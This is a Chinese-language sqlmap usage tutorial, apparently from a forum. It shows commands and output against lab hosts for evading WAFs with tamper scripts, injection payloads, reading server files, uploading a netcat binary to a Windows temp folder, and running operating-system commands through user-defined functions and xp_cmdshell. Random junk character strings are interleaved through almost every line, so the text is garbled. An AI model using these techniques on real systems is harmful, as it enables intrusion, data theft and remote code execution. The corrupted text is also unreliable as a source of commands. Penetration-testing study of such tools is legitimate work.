, k/ e& i% N! k1 \8 y- C {在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加* # a( X( `. \' W6 }7 I. ^0 V3 ^& m, v7 R. P( g
例如:; R7 \9 j* F3 s7 d
3 m8 x. O7 N$ Cpython sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/" : S x2 L' z4 S3 ^0 ]$ y; p/ ^3 T2 q; _1 y3 t" I/ D; h
sqlmap将会测试value1的位置是否可注入。- ]2 S3 ]" O0 {2 m; N
指定数据库# |1 A. ]0 }9 t/ U
; l5 k8 s2 J. y1 s参数:--dbms ; {( q% D& ~* Y J( b8 n ! d" ^0 k' W7 a" N- B- l( \默认情况系sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:6 c$ W( m4 r! E% r* F; k6 [
2 g* X8 B p$ V. A
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2 $ Q1 a( R# ~3 F) H# k! N6 P # W. E+ r* v( ?1 G {指定数据库服务器系统 . Y6 X4 P7 h, U. ~; q: Z 7 ~* y1 {5 Y5 ~7 }/ y$ J参数:--os & `& k4 g7 t% V7 Q4 m6 [5 H/ f+ q! d- f0 d( O- w7 a! b' j
默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。1 _4 y( l0 u0 N- {
指定无效的大数字. O8 Z6 ^# Q' p4 c+ R0 h( A
% d6 D7 |& k" k X/ _( l9 o
参数:--invalid-bignum ; f6 O8 v3 V& W6 z) }) B: K2 v. f! O/ e" a
当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报错。6 }, v* W! Q" j% ^5 f
只定无效的逻辑 8 K, w8 _/ H8 p. k! X! _2 B! \% r2 G. r( |$ q8 S1 x
参数:--invalid-logical + m. b G# G! z7 _( J5 i2 S7 d7 }0 ]4 S5 J s8 m
原因同上,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19。 . X& ], v$ g$ Z( w; _6 F注入payload6 m3 w* S2 P0 S# ]6 M' J% K2 p
7 x* \7 ^, T+ V" _
参数:--prefix,--suffix: ?- y! n: X. @& X& r# [
( k8 L& r$ a$ y/ y: U+ G) U
在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。 ' n/ P8 Z6 E. { [$ o, u- m7 q! L/ X( U1 H3 G0 o4 O) z
例如,代码中是这样调用数据库的:$ G f k- Y! z1 E7 h0 s
9 \; ]9 e# ]7 A% M
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1"; 7 \' `" Q* C+ W% {9 P8 O# u9 H: p3 G( u# G, L0 g
这时你就需要--prefix和--suffix参数了:# _8 z% Z7 r( k( v
6 n5 u* l8 Y! u- Q* F' Y+ Lpython sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"3 y! z: n% D" G6 v$ ^( u
: l4 B7 T/ j1 k3 [" S9 m5 A这样执行的SQL语句变成: ' ^3 ?, R7 Q7 C8 a# S , C+ o; V! t# F( p0 ~$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1"; 1 F* I0 K( y7 k 6 S0 x U, v i3 M |" S修改注入的数据- x5 A9 i8 M: C/ v( }
s- {4 C) A2 j# `/ ?# y% K参数:--tamper+ L5 e! ]3 T0 u2 a
6 U6 {# K2 H( J: b
sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用--tamper参数对数据做修改来绕过WAF等设备。* x% F/ n/ j4 B' h
' H# T4 v- O4 e; ]7 J5 y1 Z下面是一个tamper脚本的格式:# A# W9 X& C/ [0 `' {0 ~7 U
- ^6 s7 G" a: n/ U4 P# T
# Needed imports$ c; h. A& C7 m" E _: k1 y# W- L
from lib.core.enums import PRIORITY + {( k- _: Y4 F$ H* u% ~8 o# Define which is the order of application of tamper scripts against ! p( f* r) \* b; ]* U! P# S+ m# the payload* { Q# f% g" D, j
__priority__ = PRIORITY.NORMAL % S( Y: E |. z. P& v7 Hdef tamper(payload): 7 t" \ n( T4 l2 K; | ''' 2 C9 `. Z1 _1 L9 e, T8 X Description of your tamper script6 }# U6 x7 T/ g* G, |4 Y. l6 z$ F& u
'''" y( \5 b( n1 m% |5 R5 E+ C
retVal = payload 4 B; z( g/ u2 }: N$ t+ l # your code to tamper the original payload ! g0 W2 N& `3 R% v( h% D( | # return the tampered payload ( ~- T3 k+ K' J& [, I, P return retVal 8 b3 |) H" P/ ^# K( C" }. P0 h0 c 3 ~) L: {. C4 C$ o" q6 t \可以查看 tamper/ 目录下的有哪些可用的脚本" s+ U" q8 l% ?9 \# y5 k
5 S% }( I- K6 U: ?: F
例如: / B6 z; b, @# ]0 L$ h* w/ v ! i) A: Z8 ]: u3 v9 J- p$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3( I2 _7 G% Q# D- d
I3 @3 ?, m+ q[hh:mm:03] [DEBUG] cleaning up configuration parameters9 A& S9 w) W5 ~! L
[hh:mm:03] [INFO] loading tamper script 'between'9 k& o2 @0 k; D0 a
[hh:mm:03] [INFO] loading tamper script 'randomcase'+ ^1 O" V4 t6 N F. U. C
[hh:mm:03] [INFO] loading tamper script 'space2comment' . L" i1 U5 ?) B. V6 ~[...] @+ R; Q, ?% f+ S, d[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' * W/ z: X2 K$ L; R) L- ^[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092: b. J( J- m* e, h, s# |2 ^
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=40579 N7 x% ^/ W) X( b; L
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041 1 J; q4 n9 J# B u9 p[...] 9 H8 ^6 \6 {& M[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'5 f$ A( _7 }2 K3 H
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar( . S: ~% R* a7 {/ g& k! F( @58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/' t v5 i7 r$ f3 v! E- v
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/ % B, m+ b* { z/ t" r# G+ q! u* fgroup/**/bY/**/x)a)8 o" O2 O$ }5 O+ {
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING4 s7 a5 R/ \2 g: R& Y9 E: c; m
clause' injectable ! S3 s3 i# N/ Z C1 S2 r[...], d* x4 R5 a' k8 e. {
5 f3 }, P! n+ L. w探测( n }- y8 j( B7 r& t% ?$ f
探测等级 4 P8 m, H& W) ^7 F9 F+ L. @4 S2 m z& j9 L, z; p
参数:--level" L& @3 k! N/ \: N4 a7 _" d
' R4 N* [' \# @6 W* M, c
共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。% U) f% a/ S; Z. c& Z$ B: `$ R: `
9 F) O. U# o# Y- ~6 ?( o5 f4 u这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。) M) W: F5 f) F" @* a
* G6 Y# k$ w1 ]) I1 G5 C' b" A+ B总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。7 @* `, M' T5 y9 \$ X1 Z; Q
风险等级 9 V" ]' G! s S; b' C; Y( f7 W( y, d n6 ?# a
参数:--risk / P1 [0 p: e6 ]. W: l5 b" h3 z : ?' N# J* B2 z4 K+ G% `. x1 H5 u共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。. {% ~8 e% k2 m* y2 U
9 E+ w% T+ E# d8 K* `[...]$ B0 \) X7 I- s
[hh:mm:39] [INFO] testing MySQL* T( q$ C9 h+ R8 h
[hh:mm:39] [INFO] confirming MySQL 4 H( f* E' I% N/ T# Z F[hh:mm:40] [INFO] the back-end DBMS is MySQL & N! ~$ `& w0 b4 U5 t, q[hh:mm:40] [INFO] fetching banner 2 X- C+ h3 I. V# T& @web server operating system: Windows# ?# Y; M: z3 J: C/ D4 k9 [2 B
web application technology: PHP 5.3.1, Apache 2.2.14 # r. v6 i& R6 `0 Nback-end DBMS operating system: Windows : Y7 `9 ~7 `; ^ oback-end DBMS: MySQL < 5.0.0% C; R" D7 d8 z) h) R5 L* ~5 D
banner: '4.1.21-community-nt'* {) w9 `9 H- c) W) m/ ~5 V
# J2 S5 K, W! ]& O$ @+ W[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'. X$ m+ D! H$ l$ I4 Y/ z. ?" A E( I
[hh:mm:40] [INFO] adding words used on web page to the check list 4 ]3 O c6 s0 [4 H# m6 L; ]$ pplease enter number of threads? [Enter for 1 (current)] 88 p0 c `0 e; Z7 f! [! _$ G% X b
[hh:mm:43] [INFO] retrieved: users # D4 [8 K9 {( A 9 J% `: F! G$ a, A6 p! X7 a! kDatabase: testdb/ s1 A! s6 E$ X3 D s5 L" G
[1 table]5 Y+ o- g7 k/ m: k" ?. S v! R
+-------+ 8 o1 V( n8 @% d3 @3 g$ }9 b| users | ; Y8 Q! S, h! G. l' e$ N+-------+/ t- F$ i( e" X
/ j' B) i' Y9 q" h
暴力破解列名 ! [5 M9 O/ n5 n; S ! x: V2 R8 u& I0 \: u9 f+ O3 p参数:--common-columns4 [0 Z9 p, q6 o8 D3 H: o
! j, p4 f# M: Y: C/ j r1 s) h
与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。 0 f5 G2 k" G5 Q! T5 Y1 k; }& V0 G用户自定义函数注入 u2 H! g, ]0 G; Y3 a8 A4 ^: Z$ n2 Q2 f) `+ u/ T. }8 T
参数:--udf-inject,--shared-lib ; ?: k- @; t6 Q, D2 {/ O 7 P# W% d8 g1 X- |你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。 # u8 h3 V; M2 q( W系统文件操作- i$ Y" h* Y5 ]) t& ^& q
从数据库服务器中读取文件2 p5 D( R9 @' S$ R3 f5 n
9 W; K `; z0 w9 L/ ~5 i& M
参数:--file-read 8 c" C8 D/ o, r( N: A. K9 P9 R2 N* B% u6 Y3 B: a( s3 S
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。7 Z) f$ D" ~& A2 |/ }
# [4 p+ D* o% u& C( m列举一个Microsoft SQL Server 2005的例子: ( \6 E" U: j& o* J+ Q! a6 x$ m( F( x% w$ T- W6 m
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \* V( l3 O- L9 w7 b% ~- m+ |
--file-read "C:/example.exe" -v 1 5 X. R% y' K. E* W9 Z! _7 S, {7 o) r$ o
[...]2 e$ c( T. a4 E% S5 F( V
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server $ E# b) r3 t) U3 P$ y, l4 jweb server operating system: Windows 2000 : `* e) k( e9 tweb application technology: ASP.NET, Microsoft IIS 6.0, ASP, j) o0 _$ Z! v6 f6 A- j, ]% {/ g
back-end DBMS: Microsoft SQL Server 2005) k% T3 g3 E6 H2 P
2 m$ D: @9 _, n7 E1 V* p% ?[hh:mm:50] [INFO] fetching file: 'C:/example.exe': g2 k/ e' K# E4 z' E
[hh:mm:50] [INFO] the SQL query provided returns 3 entries) X9 i- X: T# _3 c
C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe'8 {/ g7 [1 F. K+ |! Q0 b6 a. R0 E
[...]/ @/ _; L# [$ S" f t2 A; G/ I
o) |7 R. J: G. ~4 i
$ ls -l output/192.168.136.129/files/C__example.exe / m/ V/ v$ M$ l) o6 B- ]& O
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe5 m7 T& t' S% H: L& w
9 u0 N! e5 F) x8 p
$ file output/192.168.136.129/files/C__example.exe " I9 n) z5 c: u" ~6 u2 uoutput/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel) t2 \3 [, V* N* u
80386 32-bit / s5 r$ Y0 ?5 `/ U' z* A7 {5 X* B$ b7 ~* @) {1 X
把文件上传到数据库服务器中. B9 b( c# m# m: r
1 j) J( b* |, v) l/ X! z参数:--file-write,--file-dest ! j8 ]- ^8 B% U% B; p& Y) h5 I: J( _ Q/ f2 f% X* a0 F
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。 2 G2 M0 {+ c; R$ V" t+ G e# h( ~% X& @5 K( t8 m O列举一个MySQL的例子: + U/ @, a% c: y9 O h 4 W9 f3 z2 `% p! k' _+ G$ file /software/nc.exe.packed " e" a* p% b# b; k, n3 n4 e
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit ' n8 w% f" o- |, Q' S A' S: w 5 \; h! s- a2 A! a$ ls -l /software/nc.exe.packed 4 a: j& A$ c& G5 W' \-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed* m B7 U5 ]! o8 c( N! Q% x
( }" _% y" O- T& K# N
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \ 1 n! `( f" ~* l4 t' ]6 M8 @& l+ ^% t- e"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1% L f: l5 q, F3 |, M1 l
5 H0 e2 \( A! K4 e5 B) p[...]- d* i1 r; Q" x9 q% Z
[hh:mm:29] [INFO] the back-end DBMS is MySQL & {( u& ^: [% A2 _; Wweb server operating system: Windows 2003 or 2008 l' O6 W* a, r5 w
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727+ D3 {5 e1 ^( x% m5 y
back-end DBMS: MySQL >= 5.0.0 0 J: P" Y9 Y# |2 @* D, ]9 Q0 d+ s6 G
[...]) _5 O: a ?& s0 G. r0 Q$ C
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully ; |, x4 x9 i' e/ x0 |) f4 bwritten on the back-end DBMS file system? [Y/n] y , A" D5 P, W( ?5 S" K[hh:mm:52] [INFO] retrieved: 31744 6 Q7 ^. ]7 O0 B% w: a$ L/ o[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, 7 Y$ ?" f7 i* y. K7 k0 usame size as the local file '/software/nc.exe.packed'" A- p! S3 a" ]1 m) |8 O
" V% t" S( |, t* M: {运行任意操作系统命令 ( U; @- r4 W1 L9 n0 R1 z) K" W0 o$ y- V2 b
参数:--os-cmd,--os-shell9 d& U+ p: V9 v8 e
! D7 V% |% y; ]7 u9 _: \. ^5 D
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。# v3 [( ]! t0 P
- E% U$ f+ z) f% [5 Q
在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。 ( p. @7 I" A4 f% e* {4 ~0 ?; ~: X8 A* u H- V
那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。3 c% n5 j) N+ i8 B" d ]
0 G; m+ M( r) b列举一个PostgreSQL的例子:& _6 e3 ^$ ~5 V
. M2 u- ^% R- L" m- G1 Q$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \& E; M2 Y! M2 b8 m. p" M
--os-cmd id -v 1 3 g) D v/ n/ x( n6 G3 t( v8 U$ l5 j" H A# Q8 {
[...]& d$ P# |' f6 G0 Z1 P2 J/ |; i4 C$ w
web application technology: PHP 5.2.6, Apache 2.2.9; A/ R" v' q+ a( m3 ?" r
back-end DBMS: PostgreSQL2 h' u1 ]% u( _ N# z
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system8 _; |7 @7 H. {; N8 k! \* I
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux 3 i9 Y: p" c4 R6 |9 I. s[hh:mm:12] [INFO] testing if current user is DBA5 i) ]1 l- l0 u! e; B6 `
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner/ O, `& `1 `6 a; Q$ ^# X$ u D
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist. A$ e! j4 C& n4 U& g
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist9 Q1 C& g1 R! O
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file ; B( x. X# O+ b7 V# u0 n7 t[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file$ f1 @" q! }9 ?2 V4 d4 [. f# n
do you want to retrieve the command standard output? [Y/n/a] y* G2 G$ Q4 ^" h- V7 y
command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)' 0 j( ^& v, V2 M ^ t. V$ _! Y" B# |[hh:mm:19] [INFO] cleaning up the database management system 9 a7 g; }4 r% gdo you want to remove UDF 'sys_eval'? [Y/n] y+ d8 H0 s$ Z& R, H( {! `; X. I
do you want to remove UDF 'sys_exec'? [Y/n] y. v* v7 @ d: r3 \: R- e9 Z8 x
[hh:mm:23] [INFO] database management system cleanup finished/ g ~" ?+ ?' ?" f. Q( c' U2 O( ?
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can 0 a) ^ l( f) ^7 W5 Tonly be deleted manually$ b4 |, k- l' Y# C7 F
! H+ N+ M! y+ ~4 N' h针对PostgreSQL例子:) D2 k& N* X& Y4 }# X
( S: \! h9 L* }: i% B- A6 R
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors5 L* K& d X$ n4 w. ?0 m
" o6 V$ \: e5 D* I5 _! J4 _
[...] 3 L& K" y5 B; T4 O[xx:xx:14] [INFO] fetching banner - K8 ]3 s9 m/ v! q[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC) 3 \ g" ]. l& {" {1 y0 ?8 O1 q[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'' D% O; r& d3 a8 C2 L9 t
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by- Q! _5 v( S4 M0 h, B1 o
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2) ~! ?. O" z" W. n; o
[...]% _# M& W$ V& e5 Q3 x- N7 c
/ \$ b, J/ P0 c2 J$ z8 x9 u7 b自定义输出的路径) o9 p1 O; u- Q, y) ?
$ Z6 w& n2 @! E- |# b. e; _
参数:--output-dir 7 X/ `2 p2 {9 |* u * b& M2 }) N2 H# e1 D# a3 r v: Dsqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp. O5 Y$ T$ D+ Z$ e$ k
从响应中获取DBMS的错误信息% ]0 C) p0 H3 q3 p3 s) y
! w7 w5 v) ]4 {参数:--parse-errors0 p# g/ ~8 I' v w2 b" k* j6 a
# K6 L7 {5 Z4 I9 F0 I2 Q有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。2 R2 K: q: `7 h
7 ^1 u2 ^9 g0 a9 G7 S" |
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors* d6 w% w2 H$ C/ Y6 `4 J; ~
[...] : Q9 x8 k5 ]6 F- c4 Q: o[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test 6 w o' f5 Z2 F5 G2 P: v[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) 6 q6 `4 V x0 {8 w; N[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.1 n* y/ t0 W8 \$ L- S
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' . A- [& W* H8 Y[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)" Q" J$ q) ^# g. X; D
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list./ @' a: w7 ?6 Q$ C8 ^) l
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'$ M/ G* ^! \! A5 x* b9 C2 ~$ j
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) + u+ x/ ~1 m5 L# O[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.! j4 |. D# Y! O1 s- u0 |% Q8 g
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' : P5 T9 t" a, Y2 |( V- b[11:12:17] [INFO] target URL appears to have 3 columns in query 6 e( z/ \, h6 b O* Y[...]: u+ N: F; T% U4 r( l, U$ v0 c
& ^2 T* Z- _9 o% [( x8 c, e其他的一些参数" ?9 T' X1 H; p7 W
使用参数缩写 9 }) _* y3 Z. i% Q0 p G+ v9 s F+ w4 x1 E: K5 H: c x8 F7 B
参数:-z 3 t( x8 z: J8 |+ R0 A/ @+ ]/ @: @$ p% ^& E! @
有使用参数太长太复杂,可以使用缩写模式。 例如:# m3 r! [, R# W: Q0 s0 I/ f
. {$ w- v4 u M( J8 n& l( r7 lpython sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1" - V( p+ `& R* W3 }8 _ + i6 A1 V ]: o# W可以写成:# y8 Y4 j! i1 O/ v- C* n
' q& i/ v! K& }7 X7 |/ A
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1" ) A2 V+ K" y1 ]- k" m/ d! e% q7 ?
还有: , G: c& J9 y) Q5 x1 P0 U1 b ^' C9 A$ L c7 t y, i0 j* y" w2 u8 m3 Wpython sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1" . p0 m8 q+ ]- c$ W% l 1 W" G0 ^$ B- C8 ~9 |可以写成: ' e# Z$ l5 U5 i @ 9 l! j$ V& H! P- ]python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1": D7 T, k, _6 Y* X: y5 ~) \" s; r& _
9 x" V( g) ^* s2 a* g/ [; y9 G5 @5 ~
成功SQL注入时警告 9 t5 _5 K. ]" p( G3 j * N8 J1 i! F/ a1 b+ P$ ^参数:--alert3 a' J* X6 y/ x+ L2 c
设定会发的答案4 X: g- J5 _3 ?9 Y" p4 Y
2 d. K# y( I4 S* x; G( [
参数:--answers 0 ^' H2 W2 S& h) A8 w! ~4 I! Z $ k5 F$ _# X0 J4 [: v! r当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子: ' s2 f9 R1 R; G1 o9 _; e8 x+ I, W4 R+ X1 l1 _
$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch $ u }; i! [, F0 c5 O# Z6 e) W[...]6 @- _8 L* K) s# p
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id' : ~4 c: w7 u; ]heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y 8 m' U7 u1 ?, g g[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N' N- `. v) n* ?$ k" g. M- H
[...] 6 j7 v0 O0 O7 ^# l" D( }# y( r0 S( J; I8 v, X/ Z$ o3 Y9 |
发现SQL注入时发出蜂鸣声 ! w. ?; j/ i/ `: {7 p9 A8 D. g! B/ M6 p) D4 k- }$ y4 I& }
参数:--beep6 k/ b' N' b+ U9 q
$ k9 } S8 P2 D9 e- Q. g
发现sql注入时,发出蜂鸣声。 1 q5 ~* z. H% m启发式检测WAF/IPS/IDS保护+ O& g5 V3 c' m# e: [, l
, [- \7 q; \% W. l& j) c
参数:--check-waf$ |* I7 | k, V6 j' V* b
8 u# F# d- A% s: L! w
WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试 7 e) I' j9 {7 |7 V" ^ 8 i" o: X0 b4 R例如: D/ p, Y: S9 C6 x- f X. A, A' t3 E) l
&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1$ F; L4 }, j' c1 l' T+ Z, [; i
' I, G) U. c4 C! n! F4 e% {
如果有保护的话可能返回结果会不同。0 d: \2 v! _$ c& o
清理sqlmap的UDF(s)和表 - O2 R) ]" ]0 K: E- O% x: g' _3 |% `9 `) R- [. ~4 |9 L
参数:--cleanup 1 `* n! n( [( X : ]& \' ?3 r, J, |+ a8 a清除sqlmap注入时产生的udf与表。( s: G0 O6 Q) g' ~$ F
禁用彩色输出 8 Z( b- @3 \3 J7 Z* Z E: ]& ]7 B1 G* q2 d* Q% Q ^% u* H7 T
参数:--disable-coloring 3 m5 e" h8 y& z1 c( W6 @$ d( x& H
sqlmap默认彩色输出,可以使用此参数,禁掉彩色输出。, ?, n2 n" G% `) M
使用指定的Google结果页面; _% I7 E% F5 B; U* M( z
/ m t4 ^5 A3 B( B参数:--gpage : x% m3 E9 _3 G! y( }, e' J* K* m6 C! E
默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。 # I- T. }. q" A! A1 Q$ g7 A0 E( C& ^使用HTTP参数污染0 y$ J# N$ H+ l& b O6 \# ?: S
) ?* @: o, ~: K; C3 s: f. b0 d参数:-hpp* |% O1 r/ o8 S9 _8 |& f* g
0 ?5 A x" h6 A' y1 KHTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。 * D+ c9 Q, K" A" A测试WAF/IPS/IDS保护 8 P" b* e4 Z% y: a$ H: {3 z' j2 O" M7 A: C C3 C+ g& N
参数:--identify-waf / I" Z/ a' X7 D4 R; z- [# N. R& p) `. E: ^4 }) s
sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。) e! [7 D* J, p
5 ~9 n; c2 ~4 ?例如对一个受到ModSecurity WAF保护的MySQL例子: 8 C* ~7 x: v! O& X1 X4 J5 v2 [2 l) z9 j* W4 c b0 v0 q
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3 + [' K, Z* e) {3 @9 r1 L5 n2 B. u[...] # E: C( i% s! o0 f* c0 [2 s& {! \[xx:xx:23] [INFO] testing connection to the target URL # b: Z6 C4 `# ?# N0 d[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'2 }% ~/ p$ B+ F% w
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection4 l% m3 M. \9 G( Z, K) T; g
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)' ) w2 X$ ^! p: k/ O( r8 h, k[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)' : p; F# {7 m+ a[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)' T/ k& ]0 l. f& K; t# X
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'4 g! ~9 r i/ ]1 G- U1 L
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'7 q5 m! J8 K5 c3 @
